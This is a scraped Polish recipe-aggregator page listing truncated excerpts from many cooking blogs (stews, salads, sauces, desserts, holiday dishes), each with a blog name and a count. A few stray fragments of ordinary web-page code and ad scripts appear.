Smaczne i sycące danie, które rozgrzeje i zaspokoi nawet największy głód. Mięso duszone w sosie pomidorowym jest tak miękkie, że odchodzi od kostek. W towarzystwie fasoli, dyni, papryki i wędzonego boczku jest pożywne i aromatyczne. W tym daniu nie może zabraknąć sporej ilości majeranku, dzięki któremu bardzo przypomina mi fasolkę po bretońsku :) 4 udka z kurczaka 300 g suszonej fasoli

https:KKuchniaMniam
Pieczarki faszerowane 318

pieczemy w piekarniku rozgrzanym do 180 stopni przez ok. 15 minut. Podajemy posypane posiekanym szczypiorkiem. Jeżeli zostanie nam farsz – nie ma się czym przejmować. Doskonale sprawdzi się w roli sosu do makaronu. Smacznego

MarcinChef
Świąteczna sałatka z ananasem i szynką 675

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Młody jęczmień pyszny zdrowy napój 228

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Mini serniczki z makiem i solonym karmelem 322

się zetnie.  Solony karmel Podczas pieczenia przygotuj solony karmel. Do rondelka wrzuć wszystkie składniki. Zagotuj, a następnie podgrzewaj przez około 10-15 minut aż sos zgęstnieje, a cukier zacznie się karmelizować. Na każdy serniczek wylej cienką warstwę karmelu i udekoruj orzechami pekan. Odstaw do całkowitego wystudzenia, a następnie wstaw na 2-3 godziny do lodówki do schłodzenia

Food Square
Świąteczne przepisy – potrawy na Wigilię i święta Bożego Narodzenia 2196

ulubione Śledzie ‘po włosku’ –śródziemnomorska bomba smaku Śledzie piernikowe w musztardzie, whisky i wiśniówce Śledź w śmietanie – sałatka śledziowa Śledzie po szwedzku – inlagd sill Sałatka z paluszków krabowych w sosie Marie Rose Domowy likier Irish Cream – domowy Baileys Rum piernikowy. Kremowy likier na rumie piernikowym Wódka żurawinowa. Żurawinowo-pomarańczowa z wanilią Wigilijny kompot z suszu w wersji ‘modern’ Ciastka cytrynowe

Karo in the Kitchen
Ziemniaczane kuleczki z serem 1165

środek każdej kulki wkładamy kostkę sera. Każdą obtaczamy w bułce tartej. Kuleczki smażymy na rozgrzanym oleju na rumiano, często je obracając. Jedna porcję smażymy około 10 minut. Podajemy z sosem czosnkowym

VioletoweKucharzenie
Ziemniaczane kuleczki z serem 1165

środek każdej kulki wkładamy kostkę sera. Każdą obtaczamy w bułce tartej. Kuleczki smażymy na rozgrzanym oleju na rumiano, często je obracając. Jedna porcję smażymy około 10 minut. Podajemy z sosem czosnkowym

VioletoweKucharzenie
Staub - zestaw do przystawek - nie tylko do przystawek :) 171

trzy kęsy (przepis wkrótce) Możemy, zgodnie z przeznaczeniem, serwować zarówno przystawki ciepłe (także takie, które wymagają podgrzania w piekarniku lub kuchence mikrofalowej), jak i zimne począwszy od wszelkiego typu sosów i dipów, poprzez oliwki czy marynowany ser Manchego, na zapiekankach kończąc. Ponadto doskonale prezentują się w nim mini serniczki na zimno (przepis wkrótce) i tymbaliki. Nie miałam zbyt wiele czasu

Kulinaria - potrawy z różnych stron świata
Przyprawy 258

przypraw i podała przykłady dań z ich dodatkiem. I tak poznajemy ziele angielskie, imbir, pieprz, cynamon, gorczyca, goździki, tymianek, liść laurowy, kurkuma, kmin, czarnuszka, kozieradka, rozmaryn, kardamon, jałowiec, mięta, sos sojowy, umami, szafran, lukrecja, wanilia i jeszcze kilka innych. A gdybyśmy chcieli ich użyć, to możemy zrobić harrisę lub pastę z pieczonych batatów i pomidorów z imbirem, omlet berberski

GRUBY WAŁEK
Piernikowe brownie – choinki 199

posiekaną czekoladę i odstawiamy na bok. Do miseczki przesiewamy mąkę oraz kakao i dodajemy przyprawy.  W misce miksera krótko miksujemy jajka wraz z cukrem i wanilią. Dodajemy pomieszany sos czekoladowy i suche składniki, ponownie krótko miksujemu. Okrągłą foremkę wykładamy papierem do pieczenia. Przekładamy ciasto i rozsmarowujemy ciasto (będzie dość gęste). Pieczemy w temperaturze 160 stopni przez 30 minut. Sprawdzamy

Kolizje Smaków
Piernikowy śledź 192

goździki, ziele, angielskie, listek laurowy i nasionka kardamonu, wrzucamy do cebuli, dodajemy cynamon, sok pomarańczowy i miód. Wszystko mieszamy i gotujemy na małym ogniu, aż sok się zredukuje i sos zgęstnieje. Pierniczki blendujemy na proszek, dodajemy je do cebuli, doprawiamy octem balsamicznym, mieszamy. Odstawiamy do całkowitego ostygnięcia. Filety kroimy w dzwonka i mieszamy z masą piernikową. Odstawiamy co najmniej

Kulinarne przygody Gatity
Strogonow mojej Mamy 3420

Składniki: 2 kg schabu wieprzowego 0,7 kg pieczarek 3 duże cebule 2 kolorowe papryki 3 kiszone ogórki sól, pieprz liść laurowy, ziele angielskie sos pikantny z smabalem wędzona papryki słodka … Czytaj dalej Strogonow mojej Mamy

czarrna od kuchni
Dorsz w zalewie octowo pomidorowej 189

Czas świąteczny to czas na przygotowanie ryb. Ten przepis jest super. Rybka dostanie doskonałego smaku pomidorowego.   Na patelni rozgrzać olej i położyć kawałki ryby. Ryba

Kuchnia Pokoleń
Łososiowe rösti 283

duszeniu. Doprawiamy odrobinę do smaku i delikatnie wyrabiamy. Z masy formujemy nieduże placuszki i smażymy je na mocno rozgrzanej oliwie ok. 2 minut z każdej strony. Podajemy z sosem śmietanowo – czosnkowym, skropione sokiem z cytryny. Kategoria: żarło powszednie Tagged: ziemniaki , łosoś , śmietana

Dobra zagrycha u Krychy i Zdzicha
Kipi kasza 283

żur z pęczakiem, rosół z kostką z kaszy manny. Na obiad cannelloni z kaszą gryczaną, serem białym i boczkiem albo spaghetti z pulpetami z kaszy orkiszowej i kurczaka z sosem pieczarkowym. Na kolację burgery jaglano-buraczane albo jajecznica ze szpinakiem i grillowaną polentą. Są też desery – granola gryczana z orzechami i sokiem pomarańczowym, muffiny gryczano-amarantusowe z żurawiną

GRUBY WAŁEK
Tagliatelle z łososiem i brokułami 272

śmietanę. Dosypać posiekanego koperku. Rozrobić kopiatą łyżeczkę mąki w zimnej wodzie, wlać na patelnię. Doprawić i wymieszać. Odlać makaron i brokuły. Makaron pozostawić w garnku, dodać brokuły i zalać sosem. Całość bardzo delikatnie wymieszać. Uwaga! Makaron ma kwaskowy charakter, który idealnie komponuje się z rybą, ale ilość soku z cytryny można zmieniać wedle uznania

Karola gotuje
Zapiekane świderki z kiełbasą 130

kilka minut. Wrzucić składniki z patelni do bulionu. Dodać śmietanę z rozrobioną mąką, a następnie łyżkę posiekanej pietruszki, doprawić. Doprowadzić do zagotowania. Odlać makaron i pozostawić w garnku, zalać sosem i wymieszać. Przełożyć do naczynia żaroodpornego i posypać utartym na dużych oczkach serem żółtym. Zapiekać 10 minut w temperaturze 180 stopni

Karola gotuje
Klopsy w sosie pieczarkowym 176

Wiem, że miała być ryba z grilla i będzie, ale jutro, ponieważ dziś publikuję pierwszy raz robione przeze mnie klopsy. Rozpływały się w ustach! Składniki na klopsy w sosie pieczarkowym (3 porcje): mięso mielone wieprzowe około 500 g pieczarki około 500 g jajko 2 cebule sól pieprz kostka grzybowa śmietana 30% łyżka mąki 3 łyżki bułki tartej Cebulę pokroić

Karola gotuje
Placki z cukinii 166

jogurt i mąkę, dosypać koperku suszonego lub świeżego. Przyprawić do smaku i dokładnie wymieszać. Nakładać na patelnię niewielkie porcje (1 łyżka) i smażyć na złoto. Propozycja podania placków z sosem pieczarkowym

Karola gotuje
Nadziewane muszle makaronowe 147

przecier pomidorowy i przyprawić solą oraz pieprzem. Wlać do naczynia żaroodpornego. W międzyczasie ugotować makaron i przelać zimną wodą. Ostudzone muszle makaronowe napełniać nadzieniem (muszla = łyżeczka farszu). Ułożyć na sosie i zapiekać w piekarniku 20 minut w 180 stopniach. Jeszcze przed włożeniem do piekarnika

Karola gotuje
Kluski śląskie 176

Moja wczorajsza zachcianka. Zastanawiałam się co ugotować i trafiłam na kluski śląskie, których dawno nie jadłam, a że chciałam zrobić też mięso w sosie własnym duet ten spasował do siebie jak ulał :) Składniki na kluski śląskie (3 - 4 porcje): ziemniaki 1 część (ja użyłam 1 kg) mąka ziemniaczana 1/4 części jajko sól Ziemniaki obrać i ugotować w osolonej wodzie

Karola gotuje
Zapiekanka z dyni 149

posiekać i zeszklić na maśle. Dodać pomidory i dusić dopóki nadmiar wody nie odparuje. Wlać śmietanę i dusić 10 - 15 minut. Mięso podsmażyć na maśle i wymieszać z powstałym sosem. Doprawić solą i pieprzem. Dynię obrać i pokroić w kostkę. Gotować we wrzącej osolonej wodzie przez dwie minuty. Przełożyć dynię do lekko natłuszczonego naczynia żaroodpornego, przykryć mięsem i zasypać startym

Karola gotuje
Gulasz wieprzowo - wołowy na kaszy kuskus 141

wołowe gulaszowe około 300 g duża cebula 4 ząbki czosnku ziele angielskie ok. 4-5 sztuk 4 liście laurowe sól pieprz ostra czerwona papryka łyżka musztardy mąka do zagęszczenia sosu Mięso doprawić solą i pieprzem, a następnie pokroić w małą kostkę i smażyć na patelni około 15 minut. Dolać wody do przykrycia mięsa i dusić pod przykryciem kolejne 15 minut

Karola gotuje
Polędwiczki wieprzowe w sosie grzybowym na bazie alkoholu 149

Dzisiejsze danie popisowe mojego narzeczonego. Wyjątkowe, eleganckie, przepyszne. Polecam na romantyczny obiad lub kolację, ale także dla gości. Składniki na polędwiczki wieprzowe w sosie grzybowym na bazie alkoholu (3 porcje): polędwiczki wieprzowe ok. 0,5 kg suszone grzyby 300 g łyżka natki pietruszki tymianek sól pieprz cebula 2 ząbki czosnku śmietana 18% (2 łyżki) mąka (łyżeczka) whisky 50 ml wino

Karola gotuje
Góralskie sylwestrowo - noworoczne smaki! 167

uciecze! :) Zupa Sylwestrowa kwaśnica. Ja lubię takie smaki :) U pani Ani była jeszcze pomidorowa i rosół - niebo! Dania główne Sylwestrowe mięso na słodko (kurczak z morelą w sosie) z kluskami i lekką sałatką. Mięciutkie i soczyste. Polecam jeśli ktoś lubi takie połączenia. Ja preferuję mięsa słone, ostre lub na bazie wina. Wyjątkiem jest dla mięsko takie jak zaserwowała pani Ania

Karola gotuje
Wątroba w sosie własnym 152

razem przedstawiam Wam specjalność mojej mamy. Lubię, jadam, ale muszę mieć smak... Składniki na wątrobę w sosie własnym (6 porcji): 80 dag wątroby mała śmietana 12% łyżka mąki 2 łyżeczki (lub więcej wedle uznania) Vegety Pokroić wątrobę na mniejsze i większe kawałki (nie muszą być równomierne). Wrzucić na patelnię i podsmażać do ścięcia. Przerzucić do garnka i zalać wodą

Karola gotuje
Pizzeria Marco w Zabierzowie 177

mojej okolicy. Jedzenie pyszne, duże porcje w niewygórowanej cenie. Urozmaicone menu. Oprócz pizzy jest także bogata oferta zestawów obiadowych. Zdecydowanie polecam! Przedstawiam Wam trzy wybrane (rewelacyjne) dania: Pizza Carbonara Sos pomidorowy, Pieczarki, Oregano, Ciasto firmowe, Ser, Boczek, Brokuły, Ser feta Przysmak grillowany Schab soute zapiekany z boczkiem, pieczarkami, selerem, ogórkiem kiszonym i czosnkiem. Ziemniaki gotowane Enchilada drobiowa z serem Więcej

Karola gotuje
Gulasz wołowy na winie (Chorwacja) 173

pomidorowy, paprykę i wino. Gotować aż mięso i ziemniaki będą miękkie. Radzę jeść w tym samym dniu i nie zostawiać na kolejny ze względu na ziemniaki, które są w sosie, żeby nie zrobiła się papka

Karola gotuje
Penne z gotowanym kurczakiem i zielonym pesto 166

plastry i pieczarki. Dokładnie wymieszać. Wierzch dania posypać startym parmezanem.  Bardzo lubię makarony z dodatkiem pesto, ponieważ jest ono pyszne i lekkie. To doskonała alternatywa dla ciężkich sosów szczególnie w upalne dni i dla osób, które dbają o linię. Kiedyś wrzucę zielone pesto domowej roboty

Karola gotuje
Brazylijska uczta, czyli Carioca Resto Bar 214

przystawki, ponieważ trochę inaczej sobie to wyobrażałam, ale w smaku była naprawdę interesująca. Polecam! Filé de frango à parmegiana - Filet z kurczaka zapiekany z szynką długodojrzewającą, mozzarellą, parmezanem i sosem pomidorowym, podawany z ryżem i farofą. Mój faworyt bez dwóch zdań (nie licząc lemoniady!). Filet dobrze doprawiony, soczysty. Szynka obłędna. Ilość serów (moja miłość parmezan) powalająca. Ciekawy dodatek w postaci

Karola gotuje
Domowy rosół 209

pieprzem. Całość gotujemy jeszcze przez godzinę na wolnym ogniu. Krok 4 Przecedzamy zupę przez sitko. Smacznego Rosół można zamrozić – jest to doskonała baza do innych zup i sosów. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp']; for(var i = 0, len = versions.length

Coś bym zjadła
Kofta kebab - gyros na patyku 1977

razem kofty w wersji kebabowej:). Te szaszłyki z mielonego mięsa smakują doskonale ze świeżym pieczywem i sosami na bazie jogurtu. Nie są pracochłonne i można przygotować je na długi czas przed podaniem a w odpowiednim momencie jedynie wrzucić do piekarnika.  500g mięsa mielonego 1 czerwona papryka 1 cebula 2 ząbki czosnku   1 jajko 1 kajzerka 1/2 pęczka

Szefowa kuchni
"Kolorowa kuchnia roślinna" - recenzja książki 289

żywności, jak ją przechowywać i przygotowywać.   Znajdziecie tu naprawdę przydatne i sprytne rozwiązania! Główna- trzecia część - to przepisy podzielone na kilka działów.  Na początku - przepisy podstawowe - beztłuszczowe sosy i inne dodatki, które są bazą lub składnikiem wielu dań. Znajdziecie tu przepis na bulion warzywny, przecier pomidorowy, ale też domową przyprawę piernikową czy przecier z daktyli, który doskonale zastępuje

Moje Kuchenne Rewelacje
Pomidorowy makaron z mięsem mielonym i pieczarkami 135

Następnie dodajemy drobno posiekany czosnek, pokrojone pieczarki, chwilę smażymy, dodajemy passatę i zioła. Dusimy pod przykryciem na małym ogniu ok. 5 min. Do smaku doprawiamy solą i pieprzem. Do Sosu dodajemy makaron, dokładnie ze sobą łączymy. Podajemy ze starta mozzarellą i posiekaną natką pietruszki. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Spaghetti z kurczakiem, suszonymi pomidorami i fasolką. 213

odparowania płynu i połączenia smaków. Kosztuję i w razie potrzeby doprawiam solą. W osobnym naczyniu gotuję w osolonej wodzie makaron. Gotowy makaron odcedzam, przekładam na talerze i polewam sosem z mięsem i dodatkami. Dekoruję zielona pietruszką. Smacznego

Kuchnia z widokiem na ogród
RAVIOLI Z RICOTTĄ I BAZYLIĄ 220

fikuśne pierożki "urzekły" moje kubki smakowe pierwszy raz we Włoszech i do dzisiaj mam do nich wielki sentyment. Nadzienie moich sycylijskich pierożków było bardziej finezyjne: farsz grzybowy z sosem krewetkowym. Wierzcie mi, niebo w gębie! (przepis kiedyś pojawi się na blogu). Ja natomiast dzisiaj proponują wersję lżejszą, równie pyszną. Może dla niektórych jest to nieco czasochłonne danie, ale jaka duma

Calzonella.com
Spaghetti z mięsem i cytrynowym mascarpone 145

duszę przez ok. 10 minut. Następnie dodaję mascarpone, polewam sokiem z cytryny, dokładnie całość mieszam i duszę na wolnym ogniu jeszcze przez jakiś czas, do miękkości mięsa. Mięso z sosem wykładam na ugotowany makaron spaghetti, posypuję słonecznikiem i żurawiną, Pyszne danie gotowe ;-) SMACZNEGO

Wielopokoleniowo
ŚWIĄTECZNA ROLADA Z MALINAMI I BIAŁĄ CZEKOLADĄ 159

malin zmiksuj i przetrzyj przez sito, aby pozbyć się pestek. Białą czekoladę posiekaj, włóż do miski. W rondlu zagotuj śmietankę. Wlej ją na czekoladę., dobrze wymieszaj i dodaj malinowy sos. Biszkopt delikatnie rozwiń, nasącz syropem przy pomocy łyżki, a następnie wyłóż na niego krem waniliowy (crème pâtissière), dodaj 125g malin. Delikatnie zroluj biszkopt. Polej roladę przygotowaną polewą malinowo- czekoladową

Smaki Francji współczesna kuchnia francuska
Polędwiczki w sosie musztardowym z kurkami 230

Szybki obiad i bardzo prosty w wykonaniu. Smakował super, polecam. Jak nie macie kurek możecie dodać pieczarki lub boczniaki. Polędwiczkę umyć, obciąć błonki i pociąć w

Kuchnia Pokoleń
Śniadaniowe placuszki z mascarpone i toffi 196

Bardzo rzadko proponuję Wam przepisy na dania śniadaniowe. Dziś mam przepis na szybkie i smaczne placuszki z dodatkiem mascarpone. Polane pysznym sosem toffi i do tego kubek mleka to fajna propozycja na rodzinne leniwe śniadanie. Rozwiń i czytaj przepis

Ewa w kuchni
Sos grzybowy świąteczny z grzybów suszonych 185

Sos grzybowy z leśnych grzybów suszonych to podstawa na moim wigilijnym stole. Idealnie komponuje się z gołąbkami :) Składniki: 5 dag suszonych grzybów sól do smaku 6 ząbków czosnku 2 łyżki masła 2 łyżki jogurtu naturalnego 2 łyżki gęstej śmietany pieprz do smaku papryka mielona ostra do smaku Wykonanie: Grzyby zalać wodą i zostawić na noc. Następnie dolać 1 szklankę wody

Tradycyjna Kuchnia
Wielokolorowa sałatka makaronowa 232

liście sałaty, pomidory odsącz i pokrój w paski. Wrzuć wszystkie warzywa i ugotowany, zimny makaron do dużej miski. Wymieszaj jogurt z przyprawami i drobno posiekanym koperkiem. Wymieszaj sałatkę z sosem, przechowuj w lodówce 2-3 dni. powiedz dietom nie http://www.powiedzdietomnie.pl/ Energia (1 porcja) Białko Tłuszcz Węglowodany Błonnik 248 kcal 10 g 5,6 g 44 g 8 g Artykuł

Powiedz dietom nie
Mąka z cieciorki – właściwości i zastosowanie 242

wyrośniętego ciasta drożdżowego czy  puszystych gofrów tak łatwo jak z mąki tortowej. Mimo to ma dość szerokie zastosowanie w kuchni, możemy jej użyć np do: zagęszczania zup i sosów – zwłaszcza tych wegetariańskich, które wzbogaci w  białko placków i naleśników   – wyjdą dość sycące. Szczególnie polecam Wam indyjskie chlebki, bardzo proste w przygotowaniu (niedługo postaram się wrzucić

Powiedz dietom nie
Deser ryżowy z wiśniami 156

przekładam do garnka, dodaję sok z cytryny i gotuję na wolnym ogniu. Puszczą one dużo soku który odlałam bo aż tyle go nie potrzebuję. Dodaję miód i przesmażam aż sos się zredukuje. Banana kroję na pół skrapiam cytryną i grilluję na patelni z dodatkiem łyżeczki miodu, z cząstkami mandarynki obranymi z błonek.Posypuje orzechami. Podaję z ryżem i wiśniami

wesoła kuchnia
Zapiekanka gyros z kalafiorem 205

naprawdę dobrego. 1/2 kg młodych małych ziemniaków 2 marchewki 1/2 kalafiora 1 pierś z kurczaka 2 łyżeczki przyprawy gyros sól, pieprz papryka wędzona 1/3 żółtej papryki. koper świeży sos: 4 łyżki jogurtu greckiego 1 jajko 2 łyżki kopru pokrojonego 20 dkg sera żółtego sól, pieprz Ziemniaki wybieram jak najmniejsze, i szoruję drutem od garnków żeby pozbyć się skóry. Nie obieram

wesoła kuchnia
Wiśniowe semifreddo 171

parze i zdejmowałam z garnka.Śmietanę kremówkę schłodzoną ubijam osobno. Wiśnie przekładam do garnka dodaję cukier brązowy i na wolnym ogniu gotuję je aż się zredukują do postaci gęstego sosu. Śmietanę mieszam z jajami ale delikatnie, dodaję pokruszone bezy. Foremkę użyłam pojemnika wykładam folią spożywczą i wylewam na spód część wiśni na to masę śmietanowo jajeczna, znowu wiśnie, i masa

wesoła kuchnia
Crumble ryżowo śliwkowe 149

łyżką cukru i przesmażam około dwie minuty aż lekko zmiękną. Robiłam crumble w wersji ze śliwkami podsmażonymi i nie i wole osobiście pierwsza wersję. Śliwki po upieczeniu wytworzą fajny sos jak wcześniej są podsmażone.Kokilki smaruję u mnie wyszły cztery foremki, układam w nich śliwki. Do miski przesypuję mąkę, dodaję migdały tarte, płatki owsiane, masło i zagniatam palcami kruszonkę

wesoła kuchnia
Polędwiczki w sosie pomidorowym 190

Obiad prosty i szybki do zrobienia. Polędwiczki nie wymagają długiej obróbki smażenia. Są delikatne, miękkie w sosie się rozpływają. Zamiast pieczarek można dodać inne grzyby.   2 polędwice wieprzowe sól, pieprz kolorowy 500 ml przecieru pomidorowego 20 dkg pieczarek 1 cebula duża masło klarowane papryka do smaku koper, natka pietruszki Polędwiczki kroję na plastry 1,5 cm, Rozbijam je dłonią

wesoła kuchnia
Sałatka ryżowa z soczewicą i ananasem 209

bardzo szybko kiedy spodziewamy się gości i nie tylko. 1 puszka soczewicy gotowanej na parze 5 plastrów papryki konserwowej 1 woreczek ryżu trzy kolory 1 puszka tuńczyka w sosie własnym 1/2 ananasa świeżego natka pietruszki 1 łyżka majonezu 1 łyżka jogurtu greckiego 5 pomidorów suszonych sól, pieprz Ryż gotuję zgodnie instrukcją opakowania. Przelewam go zimną wodą i wyjmuję z woreczka

wesoła kuchnia
Pasta z czerwonej soczewicy 148

mnie to idealnydodatek do chleba, ale z myślę, że świetnie sprawdzi się też jako dip do warzyw. 1 szkl czerwonej soczewicy 2 szkl wody 2 ząbki czosnku 1 łyżka sosu sojowego 1 łyżeczka majeranku 0,5 łyżeczki soli 0,5 łyżeczki curry 0,5 szkl czarnego pieprzu

Polska Zupa
Gotuj zdrowo dla całej rodziny – Jamie Oliver 183

prostota przepisów, bo znajdziemy w niej chociażby zapiekankę z kurczaka i ziemniaków, a właśnie takie głównie składniki królują w większości naszych domów. Owsianka, jajka na różne sposoby, makaron z sosem pomidorowym, czy najzwyklejsza zupa pomidorowa z dodatkiem świeżej bazylii – dla mnie właśnie takie przepisy zasługują na szczególne uznanie i takie receptury chciałabym przekazać następnym pokoleniom, dlatego dzisiejsza książka znajdzie

NiePieprz.pl
Sałatka śledziowa z warzywami i brązowym ryżem 181

Ogórki kiszone obrać ze skórki i pokroić w drobną kostkę. Do dużej miski wsypać wszystkie składniki sałatki i ugotowany ryż, wymieszać. W drugiej miseczce wymieszać śmietanę z majonezem, zalać sosem sałatkę i doprawić odrobiną soli, dużą ilością pieprzu i jeśli ktoś ma ochotę to szczyptą chili.  (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Produkty wegańskie Primavika - recenzja 174

minut Czekoladki pistacjowe Na koniec zostawiliśmy gotowce - czyli dania główne , które wystarczy odgrzać i obiad można podawać na stół. Znajdziemy tam proste dania typu ciecierzyca, fasolka czy soja w sosie pomidorowym. Ale są też takie frykasy jak strogonow, bitki, steki, pulpety czy sznycel - co kto lubi. Jest to bardzo wygodne, kiedy nie mamy czasu na gotowanie, albo po prostu mamy

Bananowe Pole
Uszka z grzybami wigilijne 191

minut. Farsz: Grzyby opłukać o namoczyć w niewielkiej ilości wody (najlepiej przez noc). Ugotować w wodzie, w której się moczyły. Odcedzić, drobno pokroić, a wywar zostawić (np. do przygotowania sosu lub zupy). Grzyby dodać do uduszonej na maśle, poszatkowanej cebulki. Doprawić. Lepienie: Ciasto cienko rozwałkować i wycinać kwadraty o boku 4 cm. Na połowie ułożyć farsz, zlepiać w trójkąty

Tradycyjna Kuchnia
Kurczak w sosie śmietanowym 338

przywarło, bo danie pójdzie do kibla. Posól i popieprz porządnie i pozostaw na małym ogniu pod przykryciem na kilkanaście minut – niech się elegancko poddusi. Jeśli uznasz, że sos wyszedł za rzadki, zwiększ na chwilę ogień na maksa przed samym podaniem i zredukuj śmietanę. Danie powinno być słonawe, delikatne w smaku, z wyraźnie wyczuwalną szałwią i lekkim aromatem innych ziół

manslogblog
Konopie - właściwości zdrowotne, żywność :) 192

się wysoką jakością oraz wspaniałym smakiem. Ziarna mają wiele zastosowań, zaczynając od tych prostych, czyli jako dodatek/posypka do owsianek, placuszków, ciast, sałatek a kończąc na koktajlach, napojach roślinnych czy sosach.  CZEKOLADY: KONOPIE / PYŁEK PSZCZELI 🍫 Skład 🍫 : czekolada ciemna: miazga kakaowa, cukier, tłuszcz kakaowy, emulgator: lecytyna sojowa, naturalny aromat waniliowy * ziarna konopi (10%) / pyłek pszczeli (3%)  Po pierwsze - czekolady prezentują

Zdrowie na języku :P
Surówka z kapusty pekińskiej 217

wrzątkiem. Kapustę drobno siekamy. Ananasa kroimy w kostkę. Jogurt łączymy z sokiem z ananasa, curry. Solimy i pieprzymy do smaku. Kapustę łączymy z ananasem, odsączonymi na sitku rodzynkami. Polewamy sosem. Mieszamy. Ilość porcji: 4 Czas przygotowania: 0,30 h Koszt przygotowania

Pobite gary Barbary
Sałatka śledziowa z buraczkami 186

kostkę nieco mniejszą niż śledzie. Ziemniaki i jajka również pokroić w kostkę. Gdy wszystkie składniki będą już pokrojone wystarczy przełożyć je do dużej miski. Z jogurtu i majonezu zrobić sos, zalać sałatkę i dokładnie wymieszać. Doprawić solą i pieprzem. Sałatka jest smaczniejsza po kilku godzinach w lodówce, gdy smaki się przegryzą. (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Domowa Pizza Pieczarkowa 204

minut. I gotowe :) Pamiętajcie aby nie dodawać za dużo mokrych składników, ponieważ ciasto będzie za mokre. Pizza stworzona na potrzeby posiadanych składników. Jest pyszna!! Nie potrzeba nawet sosu

W Moim Magicznym Domu
Karkówka duszona w cebuli. 3189

żaroodpornego - podlewamy odrobiną wody, przykrywamy i pieczemy w nagrzanym do 190 stopni piekarniku przez 1 godz 30 min. po tym czasie przykrycie ściągamy i zapiekamy jeszcze 15 minut. Pozostały sos można zagęścić na patelni. Smacznego

Moje-pitraszenie
PIECZONE PODUDZIE Z INDYKA W CEBULI 851

Indyk to jedno z najzdrowszych mięs. Odpowiednio podane smakuje wyśmienicie. Ja proponuje zrobić pieczone podudzie bez skórki, otulone cebulą. Potrawa jest idealna na ciepło jako dodatek do obiadu, polany sosem lub jako domowa szynka na kanapki, ponieważ bardzo dobrze kroi się.  Mięso jest soczyste, daleko mu do suchości. Jest także pełne smaków. A my lubimy dobrze doprawione mięsko

Kuchnia Paulettes
Poduszki pszenne. 215

nadziej tym, co lubisz. Czerstwe pieczywo przed podaniem zagrzej w tosterze na stelarzu do bułek. Ja moje poduszki napełniłam szynką pieczoną, serem i szpinakiem. Nie mogło zabraknąć odrobiny sosu pomidorowego

Gotuj Sam!
Surówka z cykorii z prażonymi orzechami. 161

dodaj do miski. Pokrój drobno fenkuła. Do słoiczka wlej jogurt, dopraw go solą, pieprzem i miodem - zakręć słoik po czym energicznie wstrząsaj.  Gdy składniki się połączą polej surówkę sosem. Wymieszaj. Na końcu dodaj uprażone orzechy

Gotuj Sam!
Śniadanko z twarożkiem, truskawką i musli 156

kardamonu. Przesmaż je krótko do chwili aż zmiękną i wystworzy się pyszny sosik. Twrożek rozgnieć widelcem z dodatkiem jogurtu - ułóz porcje na talerzykach. Polej twarożek przesmażonymi truskawkami razem z sosem. Posyp śniadanie  obficie musli

Gotuj Sam!
Ciasteczka z bita śmietaną i truskawkami 179

Truskawki przesmaż krótko ze szczyptą kardamonu. Ostudź . Ubij kremówkę. Na dno każdej babeczki włóż po pół łyżeczki marmolady. Nałóż porcję bitej śmietany. Na górze ułóż truskawki razem z powstałym sosem. Udekoruj babeczki listkami mięty

Gotuj Sam!
Chlebek PITA 195

czym ciasto wyjąć, krótko wyrobić i dalej postępować według powyższego przepisu. Smacznego " Moje chlebki podałam z wędzoną makrelą, buncem, czerwoną cebula i sałata lodową. Pyszna kompozycja połączona pikantnym sosem pomidorowym. Foto relacja:  Kula ciasta po wyrobieniu  Placki przed pieczeniem  Posiekana wędzona makrela Bunc wędzony.  Sładniki farszu przed dodaniem sałaty lodowej Chlebek z farszem z całej okazałości

Gotuj Sam!
Sałatka z buncem i truskawkami 199

pokrój w kostkę. Wszystkie skąłdniki wsyp do miski. W słoiczku wymieszaj łyżkę miodu, sok z połówki cytryny , szczyptę soli, szczyptę białego pieprzu i 2 łyżki oleju rzepakowego. Wymieszaj energicznie sos i dopraw go do smaku jeśli trzeba - polej nim sałatkę.  Podawaj sałatkę jako przystawkę lub dodatek do dania mięsnego lub ryby

Gotuj Sam!
Sałatka w stylu greckim 196

sałatki i delikatnie mieszamy.  Do jogurtu dodajemy przeciśnięty przez praskę czosnek – mieszamy. odajemy je z wiórkami świeżego masła i oprószone pieprzem. Porcje sałatki nakładamy na miseczki, polewamy sosem czosnkowo-jogurtowym, posypujemy koperkiem. Dekorujemy pomidorkami koktajlowymi i czerwoną cebulą pokrojoną w piórka

Gotuj Sam!
Wiosenna surówka z sałat 176

smaku papryka słodka do oprószenia  Umyj i pokrój 3 rodzaje sałat. Wymieszaj oliwę, sok z cytryny.  Dodaj miód, sól i pieprz do smaku. Wymieszaj wszystko i polej sosem sałaty. Dodaj orzechy i wymieszaj po czym przełóż do miski. Rzodkiew obierz, ponacinaj brzegi jak na zdjęciu po czym pokrój w plastry. Ułóż rzodkiew na górze surówki, oprósz papryką

Gotuj Sam!
Łosoś w warzywach na kaszy owsianej 207

Jedzonko z poprzedniego tygodnia :)  Kasza owsiana z rybą? Ryba duszona w warzywnym sosie , a właściwie gulasz rybny bardzo dobrze komponował się z kaszą.  Łosoś w warzywach na kaszy owsianej 200 g kaszy owsianej 500 g filetu z łososia 2 młode marchewki kawałek selera 1 pietruszka 1 cebula pęczek koperku 1 łyżka masła sklarowanego 2 łyżki oleju konopnego

Gotuj Sam!
Kalarepka na gęsto 225

mąką po czym przełóż kalarepę (bez wody z gotowania).   Wymieszaj i duś chwilę podlewając odrobiną  wody z gotowania by mąka z cebuli się rozkleiła i powstał sos. Dopraw potrawkę solą i pieprzem do smaku. Układaj kalarepkę na talerzu razem z kotletem i kaszką.    Udekoruj kwiatami szczypioru. Tak podana jarzynka smakuje wszystkim moim domownikom i jest

Gotuj Sam!
Sałatka z Multigrano 220

